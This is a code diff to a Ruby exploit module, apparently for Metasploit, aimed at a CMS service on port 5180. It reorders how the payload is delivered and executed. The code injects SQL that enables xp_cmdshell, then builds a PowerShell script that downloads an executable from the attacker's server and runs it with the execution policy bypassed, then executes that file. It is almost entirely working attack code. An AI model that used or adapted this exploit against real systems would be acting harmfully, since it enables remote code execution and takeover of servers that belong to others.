@@ -44,11 +44,7 @@ def initialize(info={})
44
44
'Privileged' => false , # we run as NETWORK_SERVICE
45
45
'DisclosureDate' => 'Oct 11 2018' ,
46
46
'DefaultTarget' => 0 ) )
47
- register_options (
48
- [
49
- Opt ::RPORT ( 5180 ) ,
50
- OptInt . new ( 'SLEEP' , [ true , 'How long to wait for the payload download' , '15' ] ) ,
51
- ] )
47
+ register_options [ Opt ::RPORT ( 5180 ) ]
52
48
end
53
49
54
50
@@ -68,8 +64,10 @@ def on_request_uri(cli, request)
68
64
return
69
65
end
70
66
print_good ( 'Sending the payload to CMS...' )
71
- @exe_sent = true
72
67
send_response ( cli , @pl )
68
+
69
+ print_status ( 'Executing shell...' )
70
+ inject_sql ( create_hex_cmd ( "xp_cmdshell \" cmd /c C:\\ windows\\ temp\\ #{ @filename } \" " ) , true )
73
71
end
74
72
75
73
def create_hex_cmd ( cmd )
@@ -89,7 +87,6 @@ def exploit
89
87
end
90
88
91
89
@pl = generate_payload_exe
92
- @exe_sent = false
93
90
resource_uri = "/#{ rand_text_alpha ( 8 ..16 ) } "
94
91
95
92
#do not use SSL
@@ -112,29 +109,16 @@ def exploit
112
109
# we need to roll our own here instead of using the MSSQL mixins
113
110
# (tried that and it doesn't work)
114
111
print_status ( "Enabling xp_cmdshell and asking CMS to download and execute #{ service_url } " )
115
- filename = "#{ rand_text_alpha_lower ( 8 ..10 ) } .exe"
112
+ @ filename = "#{ rand_text_alpha_lower ( 8 ..10 ) } .exe"
116
113
download_pl = %{xp_cmdshell }
117
114
download_pl << %{'cd C:\\ windows\\ temp\\ && }
118
115
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && }
119
116
download_pl << %{echo $url = "#{ service_url } " >> wget.ps1 && }
120
- download_pl << %{echo $file = "#{ filename } " >> wget.ps1 && }
117
+ download_pl << %{echo $file = "#{ @ filename} " >> wget.ps1 && }
121
118
download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && }
122
119
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
123
120
124
121
print_status ( 'Injecting PowerShell payload' )
125
122
inject_sql ( "exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd ( download_pl ) )
126
-
127
- counter = 0
128
- while ( not @exe_sent || counter >= datastore [ 'SLEEP' ] )
129
- Rex . sleep ( 1 )
130
- counter += 1
131
- end
132
-
133
- unless @exe_sent
134
- fail_with ( Failure ::Unknown , 'Could not get CMS to download the payload' )
135
- end
136
-
137
- print_status ( 'Executing shell...' )
138
- inject_sql ( create_hex_cmd ( "xp_cmdshell \" cmd /c C:\\ windows\\ temp\\ #{ filename } \" " ) , true )
139
123
end
140
124
end
0 commit comments